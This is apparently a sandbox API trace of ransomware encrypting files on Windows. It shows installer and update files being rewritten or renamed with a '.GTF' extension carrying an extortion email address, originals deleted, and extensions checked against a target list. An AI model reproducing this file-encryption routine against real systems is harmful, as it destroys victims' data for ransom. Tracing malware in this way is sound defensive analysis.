	[0071.679] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.679] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.679] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0071.680] GetLastError () returned 0x0
	[0071.680] ReadFile (in: hFile=0x36c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0xd5000, lpOverlapped=0x0) returned 1
	[0071.697] WriteFile (in: hFile=0x35c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xd5010, lpOverlapped=0x0) returned 1
	[0071.714] ReadFile (in: hFile=0x36c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.714] WriteFile (in: hFile=0x35c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x100, lpOverlapped=0x0) returned 1
	[0071.714] SetEndOfFile (hFile=0x35c) returned 1
	[0071.714] CloseHandle (hObject=0x35c) returned 1
	[0072.158] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.158] SetEndOfFile (hFile=0x36c) returned 1
	[0072.168] CloseHandle (hObject=0x36c) returned 1
	[0072.168] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0072.169] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1
	[0072.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0072.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0072.170] lstrlenW (lpString=".doc") returned 4
	[0072.170] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0072.170] lstrlenW (lpString=".docx") returned 5
	[0072.170] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0072.170] lstrlenW (lpString=".pdf") returned 4
	[0072.170] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0072.170] lstrlenW (lpString=".xls") returned 4
	[0072.170] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0072.170] lstrlenW (lpString=".xlsx") returned 5
	[0072.170] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0072.170] lstrlenW (lpString=".ppt") returned 4
	[0072.170] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0072.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0072.170] lstrlenW (lpString=".zip") returned 4
	[0072.170] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0072.171] lstrlenW (lpString=".rar") returned 4
	[0072.171] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0072.171] lstrlenW (lpString=".bz2") returned 4
	[0072.171] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0072.171] lstrlenW (lpString=".7z") returned 3
	[0072.171] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0072.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0072.171] lstrlenW (lpString=".dbf") returned 4
	[0072.171] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0072.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0072.171] lstrlenW (lpString=".1cd") returned 4
	[0072.171] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0072.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0072.171] lstrlenW (lpString=".jpg") returned 4
	[0072.171] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0072.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0072.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0072.171] lstrlenW (lpString=".doc") returned 4
	[0072.171] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0072.171] lstrlenW (lpString=".docx") returned 5
	[0072.171] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0072.172] lstrlenW (lpString=".pdf") returned 4
	[0072.172] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0072.172] lstrlenW (lpString=".xls") returned 4
	[0072.172] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0072.172] lstrlenW (lpString=".xlsx") returned 5
	[0072.172] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0072.172] lstrlenW (lpString=".ppt") returned 4
	[0072.172] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0072.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0072.172] lstrlenW (lpString=".zip") returned 4
	[0072.172] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0072.173] lstrlenW (lpString=".rar") returned 4
	[0072.173] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0072.173] lstrlenW (lpString=".bz2") returned 4
	[0072.173] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0072.173] lstrlenW (lpString=".7z") returned 3
	[0072.173] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0072.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0072.173] lstrlenW (lpString=".dbf") returned 4
	[0072.173] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0072.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0072.173] lstrlenW (lpString=".1cd") returned 4
	[0072.173] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0072.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44
	[0072.173] lstrlenW (lpString=".jpg") returned 4
	[0072.173] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0072.174] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0072.174] lstrlenW (lpString="SetupEngine.dll") returned 15
	[0072.174] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.175] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=807256) returned 1
	[0072.175] CloseHandle (hObject=0x36c) returned 1
	[0072.175] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80
	[0072.175] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0072.175] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.175] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.175] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.175] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.176] GetLastError () returned 0x0
	[0072.176] ReadFile (in: hFile=0x36c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0xc5158, lpOverlapped=0x0) returned 1
	[0072.533] WriteFile (in: hFile=0x35c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xc5160, lpOverlapped=0x0) returned 1
	[0072.547] ReadFile (in: hFile=0x36c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.547] WriteFile (in: hFile=0x35c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0072.548] SetEndOfFile (hFile=0x35c) returned 1
	[0072.548] CloseHandle (hObject=0x35c) returned 1
	[0073.212] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.212] SetEndOfFile (hFile=0x36c) returned 1
	[0073.255] CloseHandle (hObject=0x36c) returned 1
	[0073.255] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0073.256] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1
	[0073.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0073.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0073.256] lstrlenW (lpString=".doc") returned 4
	[0073.256] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0073.256] lstrlenW (lpString=".docx") returned 5
	[0073.256] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0073.256] lstrlenW (lpString=".pdf") returned 4
	[0073.256] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0073.256] lstrlenW (lpString=".xls") returned 4
	[0073.256] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0073.256] lstrlenW (lpString=".xlsx") returned 5
	[0073.256] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0073.256] lstrlenW (lpString=".ppt") returned 4
	[0073.256] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0073.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0073.256] lstrlenW (lpString=".zip") returned 4
	[0073.256] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0073.256] lstrlenW (lpString=".rar") returned 4
	[0073.256] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0073.257] lstrlenW (lpString=".bz2") returned 4
	[0073.257] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0073.257] lstrlenW (lpString=".7z") returned 3
	[0073.257] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0073.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0073.257] lstrlenW (lpString=".dbf") returned 4
	[0073.257] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0073.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0073.257] lstrlenW (lpString=".1cd") returned 4
	[0073.257] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0073.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0073.257] lstrlenW (lpString=".jpg") returned 4
	[0073.257] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0073.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0073.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0073.257] lstrlenW (lpString=".doc") returned 4
	[0073.257] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0073.257] lstrlenW (lpString=".docx") returned 5
	[0073.257] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0073.257] lstrlenW (lpString=".pdf") returned 4
	[0073.257] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0073.257] lstrlenW (lpString=".xls") returned 4
	[0073.257] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0073.257] lstrlenW (lpString=".xlsx") returned 5
	[0073.257] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0073.257] lstrlenW (lpString=".ppt") returned 4
	[0073.257] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0073.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0073.257] lstrlenW (lpString=".zip") returned 4
	[0073.257] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0073.257] lstrlenW (lpString=".rar") returned 4
	[0073.257] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0073.257] lstrlenW (lpString=".bz2") returned 4
	[0073.257] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0073.257] lstrlenW (lpString=".7z") returned 3
	[0073.257] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0073.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0073.258] lstrlenW (lpString=".dbf") returned 4
	[0073.258] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0073.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0073.258] lstrlenW (lpString=".1cd") returned 4
	[0073.258] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0073.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0073.258] lstrlenW (lpString=".jpg") returned 4
	[0073.258] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0073.258] lstrcmpiW (lpString1=".msu", lpString2=".GTF") returned 1
	[0073.258] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33
	[0073.258] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0073.258] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=2192672) returned 1
	[0073.258] CloseHandle (hObject=0x36c) returned 1
	[0073.258] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80
	[0073.258] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0073.258] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0073.259] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0073.259] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0x0) returned 1
	[0073.259] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1
	[0073.259] ReadFile (in: hFile=0x36c, lpBuffer=0x3c4a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c4a058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0073.271] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1
	[0073.272] ReadFile (in: hFile=0x36c, lpBuffer=0x3c8a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c8a058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0073.278] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x379fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0073.278] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x379fc24 | out: lpNewFilePointer=0x0) returned 1
	[0073.278] ReadFile (in: hFile=0x36c, lpBuffer=0x3cca058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x379fc30, lpOverlapped=0x0 | out: lpBuffer=0x3cca058*, lpNumberOfBytesRead=0x379fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0073.751] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.751] WriteFile (in: hFile=0x36c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x379fca8, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0073.766] SetEndOfFile (hFile=0x36c) returned 1
	[0073.766] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3f433b0
	[0073.766] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1
	[0073.766] WriteFile (in: hFile=0x36c, lpBuffer=0x3f433b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f433b0*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.768] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1
	[0073.768] WriteFile (in: hFile=0x36c, lpBuffer=0x3f433b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f433b0*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.821] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1
	[0073.822] WriteFile (in: hFile=0x36c, lpBuffer=0x3f433b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f433b0*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.823] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0073.823] CloseHandle (hObject=0x36c) returned 1
	[0075.132] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0075.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0075.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0075.133] lstrlenW (lpString=".doc") returned 4
	[0075.133] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0075.133] lstrlenW (lpString=".docx") returned 5
	[0075.133] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0075.133] lstrlenW (lpString=".pdf") returned 4
	[0075.133] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0075.133] lstrlenW (lpString=".xls") returned 4
	[0075.133] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0075.133] lstrlenW (lpString=".xlsx") returned 5
	[0075.133] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0075.133] lstrlenW (lpString=".ppt") returned 4
	[0075.133] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0075.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0075.133] lstrlenW (lpString=".zip") returned 4
	[0075.133] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0075.133] lstrlenW (lpString=".rar") returned 4
	[0075.133] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0075.133] lstrlenW (lpString=".bz2") returned 4
	[0075.133] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0075.133] lstrlenW (lpString=".7z") returned 3
	[0075.133] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0075.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0075.133] lstrlenW (lpString=".dbf") returned 4
	[0075.133] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0075.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0075.133] lstrlenW (lpString=".1cd") returned 4
	[0075.133] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0075.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0075.133] lstrlenW (lpString=".jpg") returned 4
	[0075.133] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0075.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0075.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0075.134] lstrlenW (lpString=".doc") returned 4
	[0075.134] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0075.134] lstrlenW (lpString=".docx") returned 5
	[0075.134] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0075.134] lstrlenW (lpString=".pdf") returned 4
	[0075.134] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0075.134] lstrlenW (lpString=".xls") returned 4
	[0075.134] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0075.134] lstrlenW (lpString=".xlsx") returned 5
	[0075.134] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0075.134] lstrlenW (lpString=".ppt") returned 4
	[0075.134] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0075.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0075.134] lstrlenW (lpString=".zip") returned 4
	[0075.134] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0075.134] lstrlenW (lpString=".rar") returned 4
	[0075.134] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0075.134] lstrlenW (lpString=".bz2") returned 4
	[0075.134] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0075.134] lstrlenW (lpString=".7z") returned 3
	[0075.134] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0075.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0075.134] lstrlenW (lpString=".dbf") returned 4
	[0075.134] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0075.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0075.134] lstrlenW (lpString=".1cd") returned 4
	[0075.134] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0075.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0075.134] lstrlenW (lpString=".jpg") returned 4
	[0075.134] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0075.134] lstrcmpiW (lpString1=".msu", lpString2=".GTF") returned 1
	[0075.135] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33
	[0075.135] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0075.135] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=2141433) returned 1
	[0075.135] CloseHandle (hObject=0x36c) returned 1
	[0075.135] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80
	[0075.135] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
